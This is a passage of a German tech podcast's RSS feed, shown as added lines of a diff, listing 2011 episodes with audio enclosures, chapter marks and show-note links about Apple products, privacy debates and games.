+ <sc:chapter start="00:40:16" title="Chrome und WebGL" />
+ <sc:chapter start="00:41:49" title="Google Body" href="http://bodybrowser.googlelabs.com/" />
+ <sc:chapter start="00:42:06" title="Chrome Experiments" href="http://www.chromeexperiments.com/" />
+ <sc:chapter start="00:43:21" title="Three dreams of black" href="http://www.ro.me/tech/" />
+ <sc:chapter start="00:48:29" title="Chromebooks" href="http://www.google.com/chromebook/#" />
+ <sc:chapter start="00:57:07" title="Microsoft kauft Skype" href="http://www.microsoft.com/presspass/press/2011/may11/05-10corpnewspr.mspx" />
+ <sc:chapter start="01:02:53" title="Phil, JUMP!" href="http://www.youtube.com/watch?v=1MR4R5LdrJw" />
+ <sc:chapter start="01:05:35" title="Consoligate Hearing" href="http://www.c-span.org/Events/Congress-Looks-into-Protecting-Mobile-Privacy/10737421417-1/" />
+ <sc:chapter start="01:14:37" title="iMac Platten nicht (fremd-)tauschbar" href="http://www.macrumors.com/2011/05/12/apple-restricts-hard-drive-replacements-on-new-imacs/" />
+ <sc:chapter start="01:19:31" title="Timemaschine via netatalk" href="http://www.kremalicious.com/2008/06/ubuntu-as-mac-file-server-and-time-machine-volume/" />
+ <sc:chapter start="01:20:41" title="Entwickleranlaufstellen" href="http://audioboo.fm/boos/351254-horerkommentar-time-machine-developer-resources" />
+ <sc:chapter start="01:22:43" title="Cocoadev" href="http://www.cocoadev.com/" />
+ <sc:chapter start="01:23:12" title="Daniel Jalkut" href="http://www.red-sweater.com/blog/" />
+ <sc:chapter start="01:23:22" title="Matt Gemmell" href="http://mattgemmell.com/source" />
+ <sc:chapter start="01:23:34" title="Der Hockenbär" href="http://furbo.org/" />
+ <sc:chapter start="01:24:09" title="CocoaObjects" href="http://cocoaobjects.com/" />
+ <sc:chapter start="01:24:52" title="stackoverflow" href="http://stackoverflow.com/" />
+ <sc:chapter start="01:25:30" title="Mailinglisten Archiv" href="http://www.cocoabuilder.com/" />
+ <sc:chapter start="01:26:38" title="Keyboard Shortcuts" href="http://audioboo.fm/boos/353050-keyboard-shortcuts-in-os-x" />
+ <sc:chapter start="01:30:45" title="Twitter Ähnlichkeit" />
+ <sc:chapter start="01:31:39" title="Interview mit Andreas Illiger" href="http://www.superlevel.de/spiele/interview-mit-andreas-illiger-tiny-wings#more-27253" />
+ <sc:chapter start="01:33:53" title="Podcastworkflow" href="http://verfarceungsschutz.de/podcast/" />
+ <sc:chapter start="01:34:32" title="Squier Rockband von Fender" href="http://www.fender.com/promos/2010/rockband3" />
+ <sc:chapter start="01:39:28" title="Nyan Cat fürs iPhone" href="http://itunes.apple.com/de/app/nyan-cat-lost-in-space/id433592592?mt=8" />
+ <sc:chapter start="01:43:39" title="Rausschmeisser" href="http://www.youtube.com/watch?v=7UCm6uyzNE8" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#19:" />
+ </item>
+ <item>
+ <title>Episode #18 - Geeignete Eimer</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Geeignete Eimer</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN018.mp3" length="33876096" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN018</guid>
+ <pubDate>Sat, 07 May 2011 17:52:44 +0200</pubDate>
+ <itunes:duration>01:10:34</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:06 Mit Dominik
+00:00:09 Und Martin
+00:00:15 Photosynth exportiert ja doch…
+00:06:41 Zensus Werbung
+00:08:14 Lautsprecher
+00:08:58 Neue iMacs sind neu
+00:16:35 Facebook wird ver-wave-t
+00:19:54 Es ist dicker! Nein! Doch! Nein!
+00:22:03 Drölfzigster erster Mac Trojaner
+00:29:37 GlüStV
+00:32:02 Canabalt vs. Free Runner
+00:36:42 RAM Disk automatisieren
+00:37:56 Espérance DV
+00:41:12 Mac aufwecken via Bluetooth
+00:43:28 Umsatzzahlen von Apple
+00:45:47 Backup und Dropbox unter Bootcamp
+00:53:06 Push und Stromverbrauch
+00:58:22 Coin Drop
+01:02:20 White House Correspondents' Dinner
+01:05:03 Steven Colbert WHCD
+01:06:31 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:06</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:15</td><td><a href="http://itunes.apple.com/us/app/photosynth/id430065256?mt=8" target="_blank">Photosynth exportiert ja doch…</td></tr><tr><td>00:06:41</td><td>Zensus Werbung</td></tr><tr><td>00:08:14</td><td><a href="http://tim.geekheim.de/2011/05/05/ls002-akustik-mikrofone-und-kompression/" target="_blank">Lautsprecher</td></tr><tr><td>00:08:58</td><td><a href="http://www.apple.com/imac/" target="_blank">Neue iMacs sind neu</td></tr><tr><td>00:16:35</td><td>Facebook wird ver-wave-t</td></tr><tr><td>00:19:54</td><td><a href="http://tech.fortune.cnn.com/2011/05/03/how-hard-is-it-to-measure-an-iphone/" target="_blank">Es ist dicker! Nein! Doch! Nein!</td></tr><tr><td>00:22:03</td><td><a href="http://www.hardmac.com/news/2011/05/02/new-os-x-malware" target="_blank">Drölfzigster erster Mac Trojaner</td></tr><tr><td>00:29:37</td><td>GlüStV</td></tr><tr><td>00:32:02</td><td><a href="http://blog.semisecretsoftware.com/canabalt-open-source-details-licensing-and-ex" target="_blank">Canabalt vs. Free Runner</td></tr><tr><td>00:36:42</td><td><a href="http://audioboo.fm/boos/350519-ramdisk-automatisch-erstellen" target="_blank">RAM Disk automatisieren</td></tr><tr><td>00:37:56</td><td><a href="http://kre.is/6YBu" target="_blank">Espérance DV</td></tr><tr><td>00:41:12</td><td><a href="http://audioboo.fm/boos/346695-map-monkeydom-ein-kommentar-fur-euch" target="_blank">Mac aufwecken via Bluetooth</td></tr><tr><td>00:43:28</td><td><a href="http://investor.apple.com" target="_blank">Umsatzzahlen von Apple</td></tr><tr><td>00:45:47</td><td><a href="http://audioboo.fm/boos/343099-cyntonix-danke-erstmal-meinte-naturlich-xbmc-und-nicht-xmbc" target="_blank">Backup und Dropbox unter Bootcamp</td></tr><tr><td>00:53:06</td><td><a href="http://audioboo.fm/boos/346601-pushen-quickcal" target="_blank">Push und Stromverbrauch</td></tr><tr><td>00:58:22</td><td><a href="http://itunes.apple.com/us/app/coin-drop/id396119687?mt=8" target="_blank">Coin Drop</td></tr><tr><td>01:02:20</td><td><a href="http://www.c-spanvideo.org/program/WhiteHouseCorrespo" target="_blank">White House Correspondents' Dinner</td></tr><tr><td>01:05:03</td><td><a href="http://www.youtube.com/watch?v=U7FTF4Oz4dI" target="_blank">Steven Colbert WHCD</td></tr><tr><td>01:06:31</td><td><a href="http://www.youtube.com/watch?v=54VJWHL2K3I" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:06" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:09" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:15" title="Photosynth exportiert ja doch…" href="http://itunes.apple.com/us/app/photosynth/id430065256?mt=8" />
+ <sc:chapter start="00:06:41" title="Zensus Werbung" />
+ <sc:chapter start="00:08:14" title="Lautsprecher" href="http://tim.geekheim.de/2011/05/05/ls002-akustik-mikrofone-und-kompression/" />
+ <sc:chapter start="00:08:58" title="Neue iMacs sind neu" href="http://www.apple.com/imac/" />
+ <sc:chapter start="00:16:35" title="Facebook wird ver-wave-t" />
+ <sc:chapter start="00:19:54" title="Es ist dicker! Nein! Doch! Nein!" href="http://tech.fortune.cnn.com/2011/05/03/how-hard-is-it-to-measure-an-iphone/" />
+ <sc:chapter start="00:22:03" title="Drölfzigster erster Mac Trojaner" href="http://www.hardmac.com/news/2011/05/02/new-os-x-malware" />
+ <sc:chapter start="00:29:37" title="GlüStV" />
+ <sc:chapter start="00:32:02" title="Canabalt vs. Free Runner" href="http://blog.semisecretsoftware.com/canabalt-open-source-details-licensing-and-ex" />
+ <sc:chapter start="00:36:42" title="RAM Disk automatisieren" href="http://audioboo.fm/boos/350519-ramdisk-automatisch-erstellen" />
+ <sc:chapter start="00:37:56" title="Espérance DV" href="http://kre.is/6YBu" />
+ <sc:chapter start="00:41:12" title="Mac aufwecken via Bluetooth" href="http://audioboo.fm/boos/346695-map-monkeydom-ein-kommentar-fur-euch" />
+ <sc:chapter start="00:43:28" title="Umsatzzahlen von Apple" href="http://investor.apple.com" />
+ <sc:chapter start="00:45:47" title="Backup und Dropbox unter Bootcamp" href="http://audioboo.fm/boos/343099-cyntonix-danke-erstmal-meinte-naturlich-xbmc-und-nicht-xmbc" />
+ <sc:chapter start="00:53:06" title="Push und Stromverbrauch" href="http://audioboo.fm/boos/346601-pushen-quickcal" />
+ <sc:chapter start="00:58:22" title="Coin Drop" href="http://itunes.apple.com/us/app/coin-drop/id396119687?mt=8" />
+ <sc:chapter start="01:02:20" title="White House Correspondents' Dinner" href="http://www.c-spanvideo.org/program/WhiteHouseCorrespo" />
+ <sc:chapter start="01:05:03" title="Steven Colbert WHCD" href="http://www.youtube.com/watch?v=U7FTF4Oz4dI" />
+ <sc:chapter start="01:06:31" title="Rausschmeisser" href="http://www.youtube.com/watch?v=54VJWHL2K3I" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#18:" />
+ </item>
+ <item>
+ <title>Episode #17 - Halbdigital</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Halbdigital</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN017.mp3" length="35860688" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN017</guid>
+ <pubDate>Fri, 29 Apr 2011 19:46:37 +0200</pubDate>
+ <itunes:duration>01:14:42</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:06 Mit Dominik
+00:00:11 Und Martin
+00:01:20 Weiße iPhone (einself)
+00:02:59 iCloud
+00:06:24 Beflattrt werden ohne zu flattrn
+00:08:46 Komplexität, Vermittelbarkeit und öffentliche Diskussion
+00:27:59 Zensus
+00:33:54 PlayStation Network Totalschaden
+00:38:40 S'mei hoitn
+00:40:07 Unverdiente Preisverleihung
+00:42:49 Chaptermark Workflows
+00:46:08 Xcode vs SSD
+00:52:42 Bürosoftware und Erica Sadun Buch
+00:54:57 Daylight (Nicht ganz das Gesuchte)
+00:56:34 Hockenbärchen Buch
+00:58:20 Derren Brown
+00:58:42 Derren Brown: Miracles for Sale
+01:00:53 South Park: HUMANCENTiPAD
+01:02:53 The Final Hours of Portal 2
+01:06:03 Photosynth
+01:10:54 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:06</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:01:20</td><td><a href="http://mobilized.allthingsd.com/20110427/apples-jobs-and-schiller-on-why-making-the-white-iphone-was-so-darn-tough/" target="_blank">Weiße iPhone (einself)</td></tr><tr><td>00:02:59</td><td><a href="http://www.appleinsider.com/articles/11/04/29/sources_apple_utilizing_icloud_internally_service_to_be_more_than_music.html" target="_blank">iCloud</td></tr><tr><td>00:06:24</td><td><a href="http://blog.flattr.net/2011/04/opening-the-floodgates/" target="_blank">Beflattrt werden ohne zu flattrn</td></tr><tr><td>00:08:46</td><td>Komplexität, Vermittelbarkeit und öffentliche Diskussion</td></tr><tr><td>00:27:59</td><td><a href="http://www.netzpolitik.org/2011/was-tun-gegen-die-volkszahlung-aufruf-zum-aktionstag-am-8-mai/" target="_blank">Zensus</td></tr><tr><td>00:33:54</td><td><a href="http://blog.us.playstation.com/2011/04/27/qa-1-for-playstation-network-and-qriocity-services/" target="_blank">PlayStation Network Totalschaden</td></tr><tr><td>00:38:40</td><td><a href="http://audioboo.fm/boos/339774-gaudi-o-kommentar" target="_blank">S'mei hoitn</td></tr><tr><td>00:40:07</td><td><a href="http://audioboo.fm/boos/340832-and-the-winner-is-fanboys" target="_blank">Unverdiente Preisverleihung</td></tr><tr><td>00:42:49</td><td><a href="http://audioboo.fm/boos/341658-podcastfrage" target="_blank">Chaptermark Workflows</td></tr><tr><td>00:46:08</td><td><a href="http://audioboo.fm/boos/340766-xcode-produziert-daten-beim-kompilieren-ssd-trim-problem" target="_blank">Xcode vs SSD</td></tr><tr><td>00:52:42</td><td><a href="http://audioboo.fm/boos/339466-frage-zu-burosoftware-von-oli-aus-hildesheim" target="_blank">Bürosoftware und Erica Sadun Buch</td></tr><tr><td>00:54:57</td><td><a href="http://www.marketcircle.com/daylite/" target="_blank">Daylight (Nicht ganz das Gesuchte)</td></tr><tr><td>00:56:34</td><td><a href="http://oreilly.com/catalog/9780596809782" target="_blank">Hockenbärchen Buch</td></tr><tr><td>00:58:20</td><td><a href="http://fanboyspodcast.org/#5:00:55:44" target="_blank">Derren Brown</td></tr><tr><td>00:58:42</td><td><a href="http://derrenbrown.co.uk/blog/2011/04/derren-brown-miracles-sale-tonight-9pm/" target="_blank">Derren Brown: Miracles for Sale</td></tr><tr><td>01:00:53</td><td><a href="http://www.southpark.de/alleEpisoden/1501/" target="_blank">South Park: HUMANCENTiPAD</td></tr><tr><td>01:02:53</td><td><a href="http://itunes.apple.com/us/app/the-final-hours-of-portal-2/id432031492?mt=8" target="_blank">The Final Hours of Portal 2</td></tr><tr><td>01:06:03</td><td><a href="http://itunes.apple.com/us/app/photosynth/id430065256?mt=8" target="_blank">Photosynth</td></tr><tr><td>01:10:54</td><td><a href="http://raptorjes.us/nyan/bg.gif" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:06" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:20" title="Weiße iPhone (einself)" href="http://mobilized.allthingsd.com/20110427/apples-jobs-and-schiller-on-why-making-the-white-iphone-was-so-darn-tough/" />
+ <sc:chapter start="00:02:59" title="iCloud" href="http://www.appleinsider.com/articles/11/04/29/sources_apple_utilizing_icloud_internally_service_to_be_more_than_music.html" />
+ <sc:chapter start="00:06:24" title="Beflattrt werden ohne zu flattrn" href="http://blog.flattr.net/2011/04/opening-the-floodgates/" />
+ <sc:chapter start="00:08:46" title="Komplexität, Vermittelbarkeit und öffentliche Diskussion" />
+ <sc:chapter start="00:27:59" title="Zensus" href="http://www.netzpolitik.org/2011/was-tun-gegen-die-volkszahlung-aufruf-zum-aktionstag-am-8-mai/" />
+ <sc:chapter start="00:33:54" title="PlayStation Network Totalschaden" href="http://blog.us.playstation.com/2011/04/27/qa-1-for-playstation-network-and-qriocity-services/" />
+ <sc:chapter start="00:38:40" title="S'mei hoitn" href="http://audioboo.fm/boos/339774-gaudi-o-kommentar" />
+ <sc:chapter start="00:40:07" title="Unverdiente Preisverleihung" href="http://audioboo.fm/boos/340832-and-the-winner-is-fanboys" />
+ <sc:chapter start="00:42:49" title="Chaptermark Workflows" href="http://audioboo.fm/boos/341658-podcastfrage" />
+ <sc:chapter start="00:46:08" title="Xcode vs SSD" href="http://audioboo.fm/boos/340766-xcode-produziert-daten-beim-kompilieren-ssd-trim-problem" />
+ <sc:chapter start="00:52:42" title="Bürosoftware und Erica Sadun Buch" href="http://audioboo.fm/boos/339466-frage-zu-burosoftware-von-oli-aus-hildesheim" />
+ <sc:chapter start="00:54:57" title="Daylight (Nicht ganz das Gesuchte)" href="http://www.marketcircle.com/daylite/" />
+ <sc:chapter start="00:56:34" title="Hockenbärchen Buch" href="http://oreilly.com/catalog/9780596809782" />
+ <sc:chapter start="00:58:20" title="Derren Brown" href="http://fanboyspodcast.org/#5:00:55:44" />
+ <sc:chapter start="00:58:42" title="Derren Brown: Miracles for Sale" href="http://derrenbrown.co.uk/blog/2011/04/derren-brown-miracles-sale-tonight-9pm/" />
+ <sc:chapter start="01:00:53" title="South Park: HUMANCENTiPAD" href="http://www.southpark.de/alleEpisoden/1501/" />
+ <sc:chapter start="01:02:53" title="The Final Hours of Portal 2" href="http://itunes.apple.com/us/app/the-final-hours-of-portal-2/id432031492?mt=8" />
+ <sc:chapter start="01:06:03" title="Photosynth" href="http://itunes.apple.com/us/app/photosynth/id430065256?mt=8" />
+ <sc:chapter start="01:10:54" title="Rausschmeisser" href="http://raptorjes.us/nyan/bg.gif" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#17:" />
+ </item>
+ <item>
+ <title>Episode #16 - Medienkompetenzkompetenz</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Medienkompetenzkompetenz</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN016.mp3" length="59493772" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN016</guid>
+ <pubDate>Sat, 23 Apr 2011 19:03:41 +0200</pubDate>
+ <itunes:duration>02:03:56</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:10 Und Martin
+00:00:34 Fehler und andere Versemmeleien
+00:03:51 Final Cut Pro X Addendum
+00:09:16 consolidated.db
+00:28:39 Vergessen im Internet
+00:37:43 VDS Druck von Seiten der EU
+00:41:03 Die Datenfresser
+01:00:24 Hörerkommentare
+01:00:39 Safari Video Problem
+01:09:12 Faxen
+01:15:32 Motion und Color als IAP?
+01:19:13 Uranium - Is it a Country?
+01:20:48 Apple vs. Opensource
+01:30:07 Portal 2
+01:48:10 Stacking
+01:55:17 Mos Speedrun
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:34</td><td>Fehler und andere Versemmeleien</td></tr><tr><td>00:03:51</td><td>Final Cut Pro X Addendum</td></tr><tr><td>00:09:16</td><td><a href="http://kre.is/6CxD" target="_blank">consolidated.db</td></tr><tr><td>00:28:39</td><td><a href="http://www.vergessen-im-internet.de/" target="_blank">Vergessen im Internet</td></tr><tr><td>00:37:43</td><td><a href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,757707,00.html" target="_blank">VDS Druck von Seiten der EU</td></tr><tr><td>00:41:03</td><td>Die Datenfresser</td></tr><tr><td>01:00:24</td><td>Hörerkommentare</td></tr><tr><td>01:00:39</td><td><a href="http://audioboo.fm/boos/336925-safari-videoproblem" target="_blank">Safari Video Problem</td></tr><tr><td>01:09:12</td><td><a href="http://audioboo.fm/boos/335179-faxen-am-mac-ohne-fritz-box" target="_blank">Faxen</td></tr><tr><td>01:15:32</td><td><a href="http://audioboo.fm/boos/334407-final-cut-color-motion-als-in-app-kauf" target="_blank">Motion und Color als IAP?</td></tr><tr><td>01:19:13</td><td><a href="http://strahlendesklima.de/uranium/" target="_blank">Uranium - Is it a Country?</td></tr><tr><td>01:20:48</td><td>Apple vs. Opensource</td></tr><tr><td>01:30:07</td><td><a href="http://en.wikipedia.org/wiki/Portal_2" target="_blank">Portal 2</td></tr><tr><td>01:48:10</td><td><a href="http://en.wikipedia.org/wiki/Stacking_(video_game)" target="_blank">Stacking</td></tr><tr><td>01:55:17</td><td><a href="http://itunes.apple.com/us/app/mos-speedrun/id419215811?mt=8" target="_blank">Mos Speedrun</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:10" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:34" title="Fehler und andere Versemmeleien" />
+ <sc:chapter start="00:03:51" title="Final Cut Pro X Addendum" />
+ <sc:chapter start="00:09:16" title="consolidated.db" href="http://kre.is/6CxD" />
+ <sc:chapter start="00:28:39" title="Vergessen im Internet" href="http://www.vergessen-im-internet.de/" />
+ <sc:chapter start="00:37:43" title="VDS Druck von Seiten der EU" href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,757707,00.html" />
+ <sc:chapter start="00:41:03" title="Die Datenfresser" />
+ <sc:chapter start="01:00:24" title="Hörerkommentare" />
+ <sc:chapter start="01:00:39" title="Safari Video Problem" href="http://audioboo.fm/boos/336925-safari-videoproblem" />
+ <sc:chapter start="01:09:12" title="Faxen" href="http://audioboo.fm/boos/335179-faxen-am-mac-ohne-fritz-box" />
+ <sc:chapter start="01:15:32" title="Motion und Color als IAP?" href="http://audioboo.fm/boos/334407-final-cut-color-motion-als-in-app-kauf" />
+ <sc:chapter start="01:19:13" title="Uranium - Is it a Country?" href="http://strahlendesklima.de/uranium/" />
+ <sc:chapter start="01:20:48" title="Apple vs. Opensource" />
+ <sc:chapter start="01:30:07" title="Portal 2" href="http://en.wikipedia.org/wiki/Portal_2" />
+ <sc:chapter start="01:48:10" title="Stacking" href="http://en.wikipedia.org/wiki/Stacking_(video_game)" />
+ <sc:chapter start="01:55:17" title="Mos Speedrun" href="http://itunes.apple.com/us/app/mos-speedrun/id419215811?mt=8" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#16:" />
+ </item>
+ <item>
+ <title>Episode #15 - Trollcollect</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Trollcollect</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN015.mp3" length="47067264" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN015</guid>
+ <pubDate>Sun, 17 Apr 2011 13:48:05 +0200</pubDate>
+ <itunes:duration>01:38:03</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Tim
+00:00:10 Und Martin
+00:00:48 Objektiv
+00:01:20 Werbungsmanöverkritik
+00:04:24 Appleweltherrschaftsfantasien
+00:05:06 2015
+00:07:27 Windows 8
+00:10:08 HP TouchPad
+00:13:51 Androidrant
+00:20:39 re:publica
+00:25:24 Podcasting als Öffentlichkeitsarbeit
+00:33:13 Kiki und Bubu
+00:36:16 flattr
+00:43:07 crowdin
+00:44:55 Diaspora
+00:52:12 Shitstorm
+00:52:45 hatr.org
+00:59:00 Egyptian Social Media Stories
+01:05:32 ix.Mac.MarketingName
+01:14:36 Final Cut Pro X
+01:35:04 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td><a href="http://twitter.com/timpritlove" target="_blank">Mit Tim</td></tr><tr><td>00:00:10</td><td><a href="http://twitter.com/map" target="_blank">Und Martin</td></tr><tr><td>00:00:48</td><td>Objektiv</td></tr><tr><td>00:01:20</td><td><a href="http://www.youtube.com/watch?v=tyEpaPEbjzI" target="_blank">Werbungsmanöverkritik</td></tr><tr><td>00:04:24</td><td><a href="http://www.asymco.com/2011/04/14/first-quarter-pc-forecast-windows-down-2-macipad-up-250/" target="_blank">Appleweltherrschaftsfantasien</td></tr><tr><td>00:05:06</td><td><a href="http://www.readwriteweb.com/mobile/2011/04/ipad-to-dominate-tablet-market-until-2105.php" target="_blank">2015</td></tr><tr><td>00:07:27</td><td><a href="http://windows8news.com/2011/01/05/windows-8-arm-press-release-microsoft/" target="_blank">Windows 8</td></tr><tr><td>00:10:08</td><td><a href="http://en.wikipedia.org/wiki/HP_TouchPad" target="_blank">HP TouchPad</td></tr><tr><td>00:13:51</td><td>Androidrant</td></tr><tr><td>00:20:39</td><td><a href="http://re-publica.de/11/" target="_blank">re:publica</td></tr><tr><td>00:25:24</td><td><a href="http://kre.is/640f" target="_blank">Podcasting als Öffentlichkeitsarbeit</td></tr><tr><td>00:33:13</td><td><a href="http://www.monochrom.at/kiki-and-bubu/" target="_blank">Kiki und Bubu</td></tr><tr><td>00:36:16</td><td><a href="http://re-publica.de/11/blog/panel/after-one-year-of-flattr/" target="_blank">flattr</td></tr><tr><td>00:43:07</td><td><a href="http://crowdin.net/" target="_blank">crowdin</td></tr><tr><td>00:44:55</td><td><a href="http://re-publica.de/11/blog/panel/diaspora/" target="_blank">Diaspora</td></tr><tr><td>00:52:12</td><td><a href="http://re-publica.de/11/blog/panel/shitstorm-you-can-do-it/" target="_blank">Shitstorm</td></tr><tr><td>00:52:45</td><td><a href="http://hatr.org/" target="_blank">hatr.org</td></tr><tr><td>00:59:00</td><td><a href="http://re-publica.de/11/blog/panel/egyptian-protests-and-social-media-use-in-egypt/" target="_blank">Egyptian Social Media Stories</td></tr><tr><td>01:05:32</td><td><a href="http://www.macrumors.com/2011/04/14/what-is-ix-mac-marketingname/" target="_blank">ix.Mac.MarketingName</td></tr><tr><td>01:14:36</td><td><a href="http://www.tuaw.com/2011/04/13/unofficial-videos-of-final-cut-pro-x-arrive-online/" target="_blank">Final Cut Pro X</td></tr><tr><td>01:35:04</td><td><a href="http://www.youtube.com/watch?v=2c23jegR44Q" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:10" title="Und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:00:48" title="Objektiv" />
+ <sc:chapter start="00:01:20" title="Werbungsmanöverkritik" href="http://www.youtube.com/watch?v=tyEpaPEbjzI" />
+ <sc:chapter start="00:04:24" title="Appleweltherrschaftsfantasien" href="http://www.asymco.com/2011/04/14/first-quarter-pc-forecast-windows-down-2-macipad-up-250/" />
+ <sc:chapter start="00:05:06" title="2015" href="http://www.readwriteweb.com/mobile/2011/04/ipad-to-dominate-tablet-market-until-2105.php" />
+ <sc:chapter start="00:07:27" title="Windows 8" href="http://windows8news.com/2011/01/05/windows-8-arm-press-release-microsoft/" />
+ <sc:chapter start="00:10:08" title="HP TouchPad" href="http://en.wikipedia.org/wiki/HP_TouchPad" />
+ <sc:chapter start="00:13:51" title="Androidrant" />
+ <sc:chapter start="00:20:39" title="re:publica" href="http://re-publica.de/11/" />
+ <sc:chapter start="00:25:24" title="Podcasting als Öffentlichkeitsarbeit" href="http://kre.is/640f" />
+ <sc:chapter start="00:33:13" title="Kiki und Bubu" href="http://www.monochrom.at/kiki-and-bubu/" />
+ <sc:chapter start="00:36:16" title="flattr" href="http://re-publica.de/11/blog/panel/after-one-year-of-flattr/" />
+ <sc:chapter start="00:43:07" title="crowdin" href="http://crowdin.net/" />
+ <sc:chapter start="00:44:55" title="Diaspora" href="http://re-publica.de/11/blog/panel/diaspora/" />
+ <sc:chapter start="00:52:12" title="Shitstorm" href="http://re-publica.de/11/blog/panel/shitstorm-you-can-do-it/" />
+ <sc:chapter start="00:52:45" title="hatr.org" href="http://hatr.org/" />
+ <sc:chapter start="00:59:00" title="Egyptian Social Media Stories" href="http://re-publica.de/11/blog/panel/egyptian-protests-and-social-media-use-in-egypt/" />
+ <sc:chapter start="01:05:32" title="ix.Mac.MarketingName" href="http://www.macrumors.com/2011/04/14/what-is-ix-mac-marketingname/" />
+ <sc:chapter start="01:14:36" title="Final Cut Pro X" href="http://www.tuaw.com/2011/04/13/unofficial-videos-of-final-cut-pro-x-arrive-online/" />
+ <sc:chapter start="01:35:04" title="Rausschmeisser" href="http://www.youtube.com/watch?v=2c23jegR44Q" />
+ </sc:chapters>
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#15:" />
+ </item>
+ <item>
+ <title>Episode #14 - The Power to Be Your Best</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>The Power to Be Your Best</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN014.mp3" length="33096305" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN014</guid>
+ <pubDate>Sun, 10 Apr 2011 19:48:13 +0200</pubDate>
+ <itunes:duration>01:08:57</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Dominik
+00:00:11 Und Martin
+00:01:34 @RegSprech
+00:02:36 AtomixMag
+00:04:45 COOP
+00:17:56 iPad 2 wird verschickt
+00:19:17 Playbook verspätet sich
+00:20:10 iAd Gallery
+00:22:45 Neue iPad Werbung
+00:24:12 The Power To Be Your Best
+00:28:05 Android, Windows Phone 7 und iOS Verkaufszahlen
+00:28:29 PlaneFinder
+00:31:32 Netzsperren sind tot
+00:34:37 … oder auch nicht
+00:38:40 Mindestdatenspeicherung
+00:40:51 Gutti Update
+00:42:32 Hörerfrage zu @protocol
+00:48:43 Hörerfrage zu Versionskontrolle
+00:54:28 Hörerfrage zu MBP Temperatur
+01:00:40 Playing Columbine
+01:03:56 Glenn Beck Parodie in der Daily Show
+01:05:24 Jamie's Kitchen
+
+
+
+(cc-by-nc-sa) 2011]]></itunes:summary>
